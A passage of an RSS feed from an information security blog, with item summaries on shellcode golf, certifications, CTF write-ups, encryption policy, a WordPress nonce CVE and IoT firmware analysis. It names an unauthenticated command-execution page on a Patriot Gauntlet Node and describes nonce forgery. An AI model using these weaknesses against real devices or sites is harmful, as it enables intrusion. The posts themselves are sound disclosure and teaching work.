the last byte with quick python work.&lt;/p&gt;</description></item><item><title>Even shorter x86-64 shellcode</title><link>https://systemoverlord.com/2016/04/27/even-shorter-shellcode.html</link><pubDate>Wed, 27 Apr 2016 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2016/04/27/even-shorter-shellcode.html</guid><description>&lt;p&gt;So about two years ago, I put together the &lt;a href="https://systemoverlord.com/2014/06/05/minimal-x86-64-shellcode-for-binsh/"&gt;shortest x86-64 shellcode for
&lt;code&gt;execve(&amp;quot;/bin/sh&amp;quot;,...);&lt;/code&gt;&lt;/a&gt; that I could. At the time, it was 25 bytes, which I
thought was pretty damn good. However, I&amp;rsquo;m a perfectionist and so I spent some
time before work this morning playing shellcode golf. The rules of my shellcode
golf are pretty simple:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The shellcode must produce the desired effect.&lt;/li&gt;
&lt;li&gt;It doesn&amp;rsquo;t have to do things cleanly (i.e., segfaulting after is OK, as is
using APIs in unusual ways, so long as it works)&lt;/li&gt;
&lt;li&gt;It can assume the stack pointer is at a place where it will not segfault and
it will not overwrite the shellcode itself.&lt;/li&gt;
&lt;li&gt;No NULLs. While there might be other constraints, this one is too common to
not have as a default.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So, spending a little bit of time on this, I came up with the following 22 byte
shellcode:&lt;/p&gt;</description></item><item><title>Ham Fisted Legislators</title><link>https://systemoverlord.com/2016/04/10/ham-fisted-legislators.html</link><pubDate>Sun, 10 Apr 2016 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2016/04/10/ham-fisted-legislators.html</guid><description>&lt;p&gt;There&amp;rsquo;s fortunately been a lot of media coverage of a typically ham-fisted
attempt to legislate technology:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.wired.com/2016/04/senates-draft-encryption-bill-privacy-nightmare/"&gt;The Senate’s Draft Encryption Bill Is ‘Ludicrous, Dangerous, Technically Illiterate’ | WIRED&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://fortune.com/2016/04/09/senate-encryption-leak-backlash/"&gt;Leak of Senate Encryption Bill Prompts Swift Backlash - Fortune&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.reuters.com/article/us-apple-encryption-legislation-idUSKCN0X52CG"&gt;Leak of Senate encryption bill prompts swift backlash | Reuters&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://reason.com/blog/2016/04/08/senates-attempt-at-encryption-bill-would"&gt;Senate’s Attempt at Encryption Bill Would Destroy the Very Idea of Cybersecurity - Hit &amp;amp; Run : Reason.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.usatoday.com/story/news/politics/2016/04/08/proposed-senate-bill-would-require-tech-companies-break-encryption/82798862/"&gt;www.usatoday.com/story/news/politics/2016/04/08/proposed-senate-bill-would-require-tech-companies-break-encryption/82798862/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For once, it&amp;rsquo;s not just been technology blogs: Fortune, Reuters, and USA Today
are among those covering the legislative failure.&lt;/p&gt;</description></item><item><title>Another Milestone: Offensive Security Certified Expert</title><link>https://systemoverlord.com/2016/03/28/another-milestone-offensive-security-certified-expert.html</link><pubDate>Mon, 28 Mar 2016 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2016/03/28/another-milestone-offensive-security-certified-expert.html</guid><description>&lt;p&gt;This weekend, I attempted what might possibly be my hardest academic feat ever:
to pass the Offensive Security Certified Expert exam, the culmination of
OffSec&amp;rsquo;s Cracking the Perimeter course. 48 hours of being pushed
to my limits, followed by 24 hours of time to write a report detailing my
exploits. I expected quite a challenge, but it really pushed me to my limits.
The worst part of all, however, was the 50 hours or so that passed between the
time I submitted my exam report and the time I got my response.&lt;/p&gt;</description></item><item><title>Finding My Inspiration</title><link>https://systemoverlord.com/2016/03/24/finding-inspiration.html</link><pubDate>Thu, 24 Mar 2016 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2016/03/24/finding-inspiration.html</guid><description>&lt;p&gt;I&amp;rsquo;ve been having a lot of trouble lately, feeling like I&amp;rsquo;m not doing the things
I need to do to move towards my personal goals or ensure that I continue to do
interesting work. As one of several things I&amp;rsquo;m trying to do, I&amp;rsquo;m trying to
catalog things that have inspired me recently, or whose work I aspire to imitate.
This is a no-particular-order list of classes, presentations, videos, papers,
and other that remind me why I love working in Information Security, in hopes
that it will help me find my mojo and enthusiasm for what I do again.&lt;/p&gt;</description></item><item><title>Banning Encryption Will Fail... And It's a Bad Idea, Too</title><link>https://systemoverlord.com/2016/03/23/banning-encryption-will-fail.html</link><pubDate>Wed, 23 Mar 2016 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2016/03/23/banning-encryption-will-fail.html</guid><description>&lt;p&gt;There&amp;rsquo;s a lot of debate going on right now about banning encryption. Now, some
people might refer to this as a backdoor or &amp;ldquo;providing government access&amp;rdquo; or
whatever term they&amp;rsquo;d like to use to discuss it, but as a security professional,
I see only one thing as encryption: the kind that&amp;rsquo;s completely unbreakable, even
by the FBI or the NSA or the Chinese government or anyone else. Anything else
is simply not encryption, as it does not guarantee your confidentiality. So,
I&amp;rsquo;m going to talk about banning encryption as equivalent to providing a
government backdoor or any of the other clever ways it&amp;rsquo;s being spun.&lt;/p&gt;</description></item><item><title>BSides Seattle</title><link>https://systemoverlord.com/2016/02/20/bsides-seattle.html</link><pubDate>Sat, 20 Feb 2016 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2016/02/20/bsides-seattle.html</guid><description>&lt;p&gt;These are just (essentially) my raw notes dumped from the talks I attended at
BSides Seattle (2015-ish). Unfortunate I developed a migraine so I only caught
the morning talks.&lt;/p&gt;
&lt;h3 id="active-directory"&gt;Active Directory&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Use scripts to dump AD&lt;/li&gt;
&lt;li&gt;Use scripts to sync with 3rd party providers&lt;/li&gt;
&lt;li&gt;Lots of story, not much technical depth&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="red-team"&gt;Red Team&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Presenter: Sean Malone, FusionX&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Types of Security Assessment&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Vulnerability Assessment
&lt;ul&gt;
&lt;li&gt;Find vulnerability&lt;/li&gt;
&lt;li&gt;Limited Scope&lt;/li&gt;
&lt;li&gt;Broad &amp;amp; Shallow&lt;/li&gt;
&lt;li&gt;Cooperates with SecOps&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Pentesting
&lt;ul&gt;
&lt;li&gt;Achieve Technical Compromise/Domain Admin&lt;/li&gt;
&lt;li&gt;Moderate Depth&lt;/li&gt;
&lt;li&gt;Techniques include Network, Application Assessment&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Red Team
&lt;ul&gt;
&lt;li&gt;Narrow Scope&lt;/li&gt;
&lt;li&gt;Whole Enterprise is In Scope&lt;/li&gt;
&lt;li&gt;Techniques include Social, Physical, Technical&lt;/li&gt;
&lt;li&gt;RT Objectives
&lt;ul&gt;
&lt;li&gt;Simulate Sophisticated Adversary&lt;/li&gt;
&lt;li&gt;Achieve &amp;ldquo;Nightmare Scenario&amp;rdquo; without detection&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Client Objectives
&lt;ul&gt;
&lt;li&gt;Understand resiliency&lt;/li&gt;
&lt;li&gt;Risk reduction, not just vulnerability count&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Effective Red Teams&lt;/p&gt;</description></item><item><title>Offensive Security Certified Professional</title><link>https://systemoverlord.com/2015/12/29/offensive-security-certified-professional/</link><pubDate>Tue, 29 Dec 2015 05:32:33 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2015/12/29/offensive-security-certified-professional/</guid><description>&lt;p&gt;It&amp;rsquo;s been a little bit since I last updated, and it&amp;rsquo;s been a busy time. I did want to take a quick moment to update and note that I accomplished something I&amp;rsquo;m pretty proud of. As of Christmas Eve, I&amp;rsquo;m now an Offensive Security Certified Professional.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://systemoverlord.com/img/blog/oscp.png" alt="OSCP Logo"&gt;&lt;/p&gt;
&lt;p&gt;Even though I&amp;rsquo;ve been working in security for more than two years, the lab and exam were still a challenge. Given that I mostly deal with web security at work, it was a great change to have a lab environment of more than 50 machines to attack. Perhaps most significantly, it gave me an opportunity to fight back a little bit of the impostor syndrome I&amp;rsquo;m perpetually afflicted with.&lt;/p&gt;</description></item><item><title>CSAW Quals 2015: Sharpturn (aka Forensics 400)</title><link>https://systemoverlord.com/2015/09/21/csaw-quals-2015-sharpturn-aka-forensics-400/</link><pubDate>Mon, 21 Sep 2015 21:33:58 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2015/09/21/csaw-quals-2015-sharpturn-aka-forensics-400/</guid><description>&lt;p&gt;The text was just:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I think my SATA controller is dying.&lt;/p&gt;
&lt;p&gt;HINT: &lt;code&gt;git fsck -v&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;And included a tarball containing a git repository. If you ran the suggested &lt;code&gt;git fsck -v&lt;/code&gt;, you&amp;rsquo;d discover that 3 commits were corrupt:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;:::text
Checking HEAD link
Checking object directory
Checking directory ./objects/2b
Checking directory ./objects/2e
Checking directory ./objects/35
Checking directory ./objects/4a
Checking directory ./objects/4c
Checking directory ./objects/7c
Checking directory ./objects/a1
Checking directory ./objects/cb
Checking directory ./objects/d5
Checking directory ./objects/d9
Checking directory ./objects/e5
Checking directory ./objects/ef
Checking directory ./objects/f8
Checking tree 2bd4c81f7261a60ecded9bae3027a46b9746fa4f
Checking commit 2e5d553f41522fc9036bacce1398c87c2483c2d5
error: sha1 mismatch 354ebf392533dce06174f9c8c093036c138935f3
error: 354ebf392533dce06174f9c8c093036c138935f3: object corrupt or missing
Checking commit 4a2f335e042db12cc32a684827c5c8f7c97fe60b
Checking tree 4c0555b27c05dbdf044598a0601e5c8e28319f67
Checking commit 7c9ba8a38ffe5ce6912c69e7171befc64da12d4c
Checking tree a1607d81984206648265fbd23a4af5e13b289f83
Checking tree cb6c9498d7f33305f32522f862bce592ca4becd5
Checking commit d57aaf773b1a8c8e79b6e515d3f92fc5cb332860
error: sha1 mismatch d961f81a588fcfd5e57bbea7e17ddae8a5e61333
error: d961f81a588fcfd5e57bbea7e17ddae8a5e61333: object corrupt or missing
Checking blob e5e5f63b462ec6012bc69dfa076fa7d92510f22f
Checking blob efda2f556de36b9e9e1d62417c5f282d8961e2f8
error: sha1 mismatch f8d0839dd728cb9a723e32058dcc386070d5e3b5
error: f8d0839dd728cb9a723e32058dcc386070d5e3b5: object corrupt or missing
Checking connectivity (32 objects)
Checking a1607d81984206648265fbd23a4af5e13b289f83
Checking e5e5f63b462ec6012bc69dfa076fa7d92510f22f
Checking 4a2f335e042db12cc32a684827c5c8f7c97fe60b
Checking cb6c9498d7f33305f32522f862bce592ca4becd5
Checking 4c0555b27c05dbdf044598a0601e5c8e28319f67
Checking 2bd4c81f7261a60ecded9bae3027a46b9746fa4f
Checking 2e5d553f41522fc9036bacce1398c87c2483c2d5
Checking efda2f556de36b9e9e1d62417c5f282d8961e2f8
Checking 354ebf392533dce06174f9c8c093036c138935f3
Checking d57aaf773b1a8c8e79b6e515d3f92fc5cb332860
Checking f8d0839dd728cb9a723e32058dcc386070d5e3b5
Checking d961f81a588fcfd5e57bbea7e17ddae8a5e61333
Checking 7c9ba8a38ffe5ce6912c69e7171befc64da12d4c
missing blob 354ebf392533dce06174f9c8c093036c138935f3
missing blob f8d0839dd728cb9a723e32058dcc386070d5e3b5
missing blob d961f81a588fcfd5e57bbea7e17ddae8a5e61333
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Well, crap. How do we fix these? Well, I guess the good news is that the git blob format is &lt;a href="https://git-scm.com/book/en/v2/Git-Internals-Git-Objects"&gt;fairly well documented&lt;/a&gt;. The SHA-1 of a blob is computed by taking the string &lt;code&gt;blob &lt;/code&gt;, appending the length of the blob as an ASCII-encoded decimal value, a null character, and then the blob contents itself: &lt;code&gt;blob &amp;lt;blob_length&amp;gt;\0&amp;lt;blob_data&amp;gt;&lt;/code&gt;. The final blob value as written in the objects directory of the git repository is the zlib-compressed version of this string. This leads us to these useful functions for reading, writing, and hashing git blobs in python:&lt;/p&gt;</description></item><item><title>What the LastPass CLI tells us about LastPass Design</title><link>https://systemoverlord.com/2015/09/16/what-the-lastpass-cli-tells-us-about-lastpass-design/</link><pubDate>Wed, 16 Sep 2015 05:58:19 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2015/09/16/what-the-lastpass-cli-tells-us-about-lastpass-design/</guid><description>&lt;p&gt;&lt;a href="https://lastpass.com/"&gt;LastPass&lt;/a&gt; is a password manager that claims not to be
able to access your data.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;All sensitive data is encrypted and decrypted locally before syncing with
LastPass. Your key never leaves your device, and is never shared with
LastPass. Your data stays accessible only to you.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;While it would be pretty hard to prove that claim, it is interesting to take
a look at how they implement their zero-knowledge encryption. The LastPass
browser extensions are a mess of minified JavaScript, but they&amp;rsquo;ve been kind
enough to publish an &lt;a href="https://github.com/lastpass/lastpass-cli"&gt;open-source command line
client&lt;/a&gt;, that&amp;rsquo;s quite readable C code.
I was interested to see what we could learn from the CLI, and while it won&amp;rsquo;t
prove that they can&amp;rsquo;t read your passwords, it will help to understand their
design.&lt;/p&gt;</description></item><item><title>So, is Windows 10 Spying On You?</title><link>https://systemoverlord.com/2015/08/16/so-is-windows-10-spying-on-you/</link><pubDate>Sun, 16 Aug 2015 21:00:02 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2015/08/16/so-is-windows-10-spying-on-you/</guid><description>&lt;p&gt;&amp;ldquo;Extraordinary claims require extraordinary evidence.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;A few days ago, &lt;a href="https://web.archive.org/web/20150815004626/http://localghost.org/posts/a-traffic-analysis-of-windows-10"&gt;localghost.org posted a
translation&lt;/a&gt;
of &lt;a href="http://aeronet.cz/news/analyza-windows-10-ve-svem-principu-jde-o-pouhy-terminal-na-sber-informaci-o-uzivateli-jeho-prstech-ocich-a-hlasu/"&gt;a Czech
article&lt;/a&gt;
alledging Windows 10 &amp;ldquo;phones home&amp;rdquo; in a number of ways. I was a little
surprised, and more than a little alarmed, by some of the claims. Rather than
blindly repost the claims, I decided it would be a good idea to see what I could
test for myself. Rob Seder &lt;a href="https://robsederblog.wordpress.com/2015/08/16/whats-the-real-deal-with-windows-10-and-privacy/"&gt;has done
similarly&lt;/a&gt;
but I&amp;rsquo;m taking it a step further to look at the real traffic contents.&lt;/p&gt;</description></item><item><title>Hacker Summer Camp 2015: DEF CON</title><link>https://systemoverlord.com/2015/08/14/hacker-summer-camp-2015-def-con/</link><pubDate>Fri, 14 Aug 2015 03:11:12 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2015/08/14/hacker-summer-camp-2015-def-con/</guid><description>&lt;p&gt;So, following up on my post on BSides LV 2015, I thought I&amp;rsquo;d give a summary of DEF CON 23. I can&amp;rsquo;t cover everything I did (after all, what happens in Vegas, stays in Vegas&amp;hellip; mostly) but I&amp;rsquo;m going to cover the biggest highlights as I saw them.&lt;/p&gt;
&lt;p&gt;The first thing to know about my take on DEF CON is that DEF CON is a one-of-a-kind event, somewhere between a security conference and a trip to Mecca. It&amp;rsquo;s one part conference, one part party, and one part social experience. The second thing to know about my take on DEF CON is that I&amp;rsquo;m not there to listen to people speak. If I was just there to listen to people speak, there&amp;rsquo;s the videos posted to YouTube or available on streaming/DVD from the conference recordings. I&amp;rsquo;m at DEF CON to &lt;em&gt;participate&lt;/em&gt;, &lt;em&gt;meet people&lt;/em&gt;, and &lt;strong&gt;hack all the things&lt;/strong&gt;.&lt;/p&gt;</description></item><item><title>Hacker Summer Camp 2015: BSides LV &amp; Pros vs Joes CTF</title><link>https://systemoverlord.com/2015/08/12/hacker-summer-camp-2015-bsides-lv-pros-vs-joes-ctf/</link><pubDate>Wed, 12 Aug 2015 00:13:58 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2015/08/12/hacker-summer-camp-2015-bsides-lv-pros-vs-joes-ctf/</guid><description>&lt;p&gt;I&amp;rsquo;ve just returned from Las Vegas for the annual &amp;ldquo;hacker summer camp&amp;rdquo;, and am
going to be putting up a series of blog posts covering the week. Tuesday and
Wednesday were &lt;a href="https://bsideslv.org"&gt;BSides Las Vegas&lt;/a&gt;. For the uninitiated,
BSides was founded as the &amp;ldquo;flip side&amp;rdquo; to Black Hat, and has spawned into a
series of community organized and oriented conferences around the globe.
Entrance to BSides LV was free, but you could guarantee a spot by donating in
advance if you were so inclined. (I was.)&lt;/p&gt;</description></item><item><title>Playing with the Patriot Gauntlet Node (Part 2)</title><link>https://systemoverlord.com/2015/06/20/playing-with-the-patriot-gauntlet-node-part-2/</link><pubDate>Sat, 20 Jun 2015 22:13:50 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2015/06/20/playing-with-the-patriot-gauntlet-node-part-2/</guid><description>&lt;p&gt;Despite the fact that it&amp;rsquo;s been over 2 years since I posted &lt;a href="https://systemoverlord.com/2013/02/05/playing-with-the-patriot-gauntlet-node-part-1/"&gt;Part 1&lt;/a&gt;, I got bored and decided I should take another look at the &lt;a href="http://www.amazon.com/gp/product/B008KW61XK/ref=as_li_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=B008KW61XK&amp;amp;linkCode=as2&amp;amp;tag=systemovecom-20&amp;amp;linkId=YX2FFFV7XA7LVSVW"&gt;Patriot Gauntlet Node&lt;/a&gt;. So I go and grab the latest firmware from Patriot&amp;rsquo;s website (V21_1.2.4.6) and use the same binwalk techniques described in the first post, I extracted the latest firmware.&lt;/p&gt;
&lt;p&gt;So, the TL;DR is: It&amp;rsquo;s unexciting because Patriot makes no effort to secure the device. It seems that their security model is &amp;ldquo;if you&amp;rsquo;re on the network, you own the device&amp;rdquo;, which is pretty much the case. Not only can you enable telnet as I&amp;rsquo;ve discussed before, there&amp;rsquo;s even a convenient web-based interface to run commands: http://10.10.10.254:8088/adm/system_command.asp. Oh, and it&amp;rsquo;s not authenticated. Even if you set an admin password (which is hidden at http://10.10.10.254:8088/adm/management.asp).&lt;/p&gt;</description></item><item><title>Towards a Better Password Manager</title><link>https://systemoverlord.com/2014/10/31/towards-a-better-password-manager/</link><pubDate>Fri, 31 Oct 2014 01:16:10 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/10/31/towards-a-better-password-manager/</guid><description>&lt;p&gt;The consensus in the security community is that &lt;a href="http://www.wired.com/2014/08/passwords_microsoft/"&gt;passwords suck&lt;/a&gt;, but they&amp;rsquo;re here to stay, at least for a while longer. Given breaches like &lt;a href="http://krebsonsecurity.com/2013/10/adobe-breach-impacted-at-least-38-million-users/"&gt;Adobe&lt;/a&gt;, &amp;hellip;, it&amp;rsquo;s becoming more and more evident that the biggest threat is not weak passwords, but &lt;a href="https://xkcd.com/792/"&gt;password reuse&lt;/a&gt;. Of course, the solution to password to reuse is to use one password for every site that requires you to log in. The problem is that your average user has &lt;a href="http://www.dailymail.co.uk/sciencetech/article-2174274/No-wonder-hackers-easy-Most-26-different-online-accounts--passwords.html"&gt;dozens of online accounts&lt;/a&gt;, and they probably can&amp;rsquo;t remember those dozens of passwords. So, we build tools to help people remember passwords, mostly password managers, but do we build them well?&lt;/p&gt;</description></item><item><title>Dangers of decorator-based registries in Python</title><link>https://systemoverlord.com/2014/10/26/dangers-of-decorator-based-registries-in-python/</link><pubDate>Sun, 26 Oct 2014 18:51:13 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/10/26/dangers-of-decorator-based-registries-in-python/</guid><description>&lt;p&gt;So &lt;a href="http://flask.pocoo.org/"&gt;Flask&lt;/a&gt; has a really convenient mechanism for registering handlers, actions to be run before/after requests, etc. Using decorators, Flask registers these functions to be called, as in:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!python
@app.route('/')
def homepage_handler():
 return 'Hello World'

@app.before_request
def do_something_before_each_request():
 ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is pretty convenient, and works really well, because it means you don&amp;rsquo;t have to list all your routes in one place (like Django requires) but it comes with a cost. You can end up with Python modules that are only needed for the side effects of importing them. No functions from those modules are directly called from your other modules, but they still need to be imported &lt;em&gt;somewhere&lt;/em&gt; to get the routes registered.&lt;/p&gt;</description></item><item><title>Getting Started in CTFs</title><link>https://systemoverlord.com/2014/09/14/getting-started-in-ctfs/</link><pubDate>Sun, 14 Sep 2014 20:07:10 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/09/14/getting-started-in-ctfs/</guid><description>&lt;p&gt;My last post was about getting started in a career in information security. This post is about the sport end of information security: Capture the Flag (CTFs).&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;d played around with some wargames (&lt;a href="http://smashthestack.org/"&gt;Smash the Stack&lt;/a&gt;, &lt;a href="http://overthewire.org/wargames/"&gt;Over the Wire&lt;/a&gt;, and &lt;a href="https://www.hackthissite.org/"&gt;Hack this Site&lt;/a&gt;) before, but my first real CTF (timed, competitive, etc.) was the &lt;a href="https://systemoverlord.com/2013/03/02/bsides-sf-ctf-by-mad-security-part-1/"&gt;CTF run by Mad Security at BSides SF 2013&lt;/a&gt;. By some bizarre twist of fate, I ended up winning the CTF, and I was hooked. I&amp;rsquo;ve probably played in about 30 CTFs since, most of them online with the team &lt;a href="https://ctftime.org/team/4710"&gt;Shadow Cats&lt;/a&gt;. It&amp;rsquo;s been a bumpy ride, but I&amp;rsquo;ve learned a lot about a variety of topics by doing this.&lt;/p&gt;</description></item><item><title>Getting Started in Information Security</title><link>https://systemoverlord.com/2014/09/13/getting-started-in-information-security/</link><pubDate>Sat, 13 Sep 2014 19:30:22 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/09/13/getting-started-in-information-security/</guid><description>&lt;p&gt;I&amp;rsquo;ve only been an information security practitioner for about a year now, but I&amp;rsquo;ve been doing things on my own for years before that. However, many people are just getting into security, and I&amp;rsquo;ve recently stumbled on a number of resources for newcomers, so I thought I&amp;rsquo;d put together a short list.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://krebsonsecurity.com/2012/07/how-to-break-into-security-schneier-edition/"&gt;Brian Krebs and Bruce Schneier put together some thoughts&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://averagesecurityguy.info/2011/09/13/security-career-question/"&gt;Stephen, aka Average Security Guy has a good discussion, mostly focusing on certifications&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.slideshare.net/ChrisGrayson/so-you-want-to-be-a-hacker"&gt;Chris Grayson&amp;rsquo;s &amp;ldquo;So you want to be a hacker&amp;rdquo; presentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.reddit.com/r/netsec/wiki/start"&gt;Reddit&amp;rsquo;s /r/netsec wiki maintains a good page on getting started&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.dc801.org/infosec-resources/"&gt;DC801&amp;rsquo;s list of InfoSec Resources&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>[CVE-2014-5204] Wordpress nonce Issues</title><link>https://systemoverlord.com/2014/09/10/cve-2014-5204-wordpress-nonce-issues/</link><pubDate>Wed, 10 Sep 2014 22:54:52 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/09/10/cve-2014-5204-wordpress-nonce-issues/</guid><description>&lt;p&gt;Wordpress 3.9.2, released August 6th, contained fixes for two closely related
vulnerabilities (CVE-2014-5204) in the way it handles Wordpress nonces (CSRF
Tokens, essentially) that I reported to the Wordpress Security Team. I&amp;rsquo;d like
to say the delay in my publishing this write-up was to allow people time to
patch, but the reality is I&amp;rsquo;ve just been busy and haven&amp;rsquo;t gotten around to this.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; Wordpress &amp;lt; 3.9.2 generated nonces in a manner that would allow an
attacker to generate valid nonces for other users for a &lt;strong&gt;small&lt;/strong&gt; subset of
possible actions. Additionally, nonces were compared with &lt;code&gt;==&lt;/code&gt;, leading to a
timing attack against nonce comparison. (Although this is very difficult to
execute.)&lt;/p&gt;</description></item><item><title>Security: Not a Binary State</title><link>https://systemoverlord.com/2014/09/05/security-not-a-binary-state/</link><pubDate>Fri, 05 Sep 2014 00:03:24 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/09/05/security-not-a-binary-state/</guid><description>&lt;p&gt;I&amp;rsquo;ve been spending a fair amount of time on &lt;a href="https://security.stackexchange.com"&gt;Security StackExchange&lt;/a&gt; lately, mostly looking for inspiration for research and blogging, but also answering a question every now and then. One trend I&amp;rsquo;ve noticed is asking questions of the form &amp;ldquo;Is &lt;em&gt;security practice X&lt;/em&gt; secure?&amp;rdquo;&lt;/p&gt;
&lt;p&gt;This is asked as a yes/no question, but security isn&amp;rsquo;t a binary state. There is no &amp;ldquo;absolutely secure.&amp;rdquo; Security is a spectrum, and it really depends on what you&amp;rsquo;re worried about, which is where threat modeling comes in. Both users and service providers need to consider their risks and decide what&amp;rsquo;s important to them.&lt;/p&gt;</description></item><item><title>DEF CON 22 Recap</title><link>https://systemoverlord.com/2014/08/13/def-con-22-recap/</link><pubDate>Wed, 13 Aug 2014 05:45:33 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/08/13/def-con-22-recap/</guid><description>&lt;p&gt;&lt;img src="https://systemoverlord.com/img/blog/badges.jpg" alt="Conference Badges"&gt;&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m back and recovering with typical post-con fatigue. This year, I made several mistakes, not the least of which was trying to do &lt;a href="http://www.bsideslv.org/"&gt;BSides&lt;/a&gt;, &lt;a href="https://www.blackhat.com/"&gt;Black Hat&lt;/a&gt;, and &lt;a href="https://www.defcon.org/"&gt;DEF CON&lt;/a&gt;. Given the overlapping schedules and the events occurring outside the conferences, this left me really drained, not to mention spending more time transiting between the events than I&amp;rsquo;d like.&lt;/p&gt;
&lt;h3 id="bsides-las-vegas"&gt;BSides Las Vegas&lt;/h3&gt;
&lt;p&gt;B-Sides was a blast, but I spent most of the time I was there playing in the Pros vs Joes CTF run by &lt;a href="https://twitter.com/dichotomy1"&gt;Dichotomy&lt;/a&gt;. This is a particularly nice Capture the Flag competition, since it&amp;rsquo;s based on defending (and attacking) &amp;ldquo;real world&amp;rdquo; networks, rather than the typical Jeopardy-style &amp;ldquo;crack this binary&amp;rdquo; competitions. Most of the problems seen in the real world aren&amp;rsquo;t, in fact, 0-day produced by talented hackers, but in fact configuration weaknesses, outdated software, and insecure practices exploited by script kiddies. PvJ forces you to consider how to harden a &amp;ldquo;corporate&amp;rdquo; environment while still providing the same services. You get a Cisco ASA as your firewall, and can reconfigure services as needed to establish your perimeter and secure your systems. On Day 2, you also get to see just how good you are at breaking in, and just how good (or bad) your opponents are at securing their network.&lt;/p&gt;</description></item><item><title>Weekly Reading List for 8/2/14</title><link>https://systemoverlord.com/2014/08/03/weekly-reading-list-for-8214/</link><pubDate>Sun, 03 Aug 2014 02:02:20 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/08/03/weekly-reading-list-for-8214/</guid><description>&lt;p&gt;This has been missing for a few weeks, but it&amp;rsquo;s back!&lt;/p&gt;
&lt;h4 id="why-is-csp-failing"&gt;Why is CSP Failing?&lt;/h4&gt;
&lt;p&gt;&lt;a href="http://mweissbacher.com/publications/csp_raid.pdf"&gt;Why is CSP Failing? Trends and Challenges in CSP Adoption.&lt;/a&gt; Despite being an &amp;ldquo;academic&amp;rdquo; paper, this actually has a lot to offer about why one of the most effective defenses against XSS isn&amp;rsquo;t yet getting widely implemented, and what the implementation costs and strategies are.&lt;/p&gt;
&lt;h4 id="safari-bites-the-dust"&gt;Safari Bites the Dust&lt;/h4&gt;
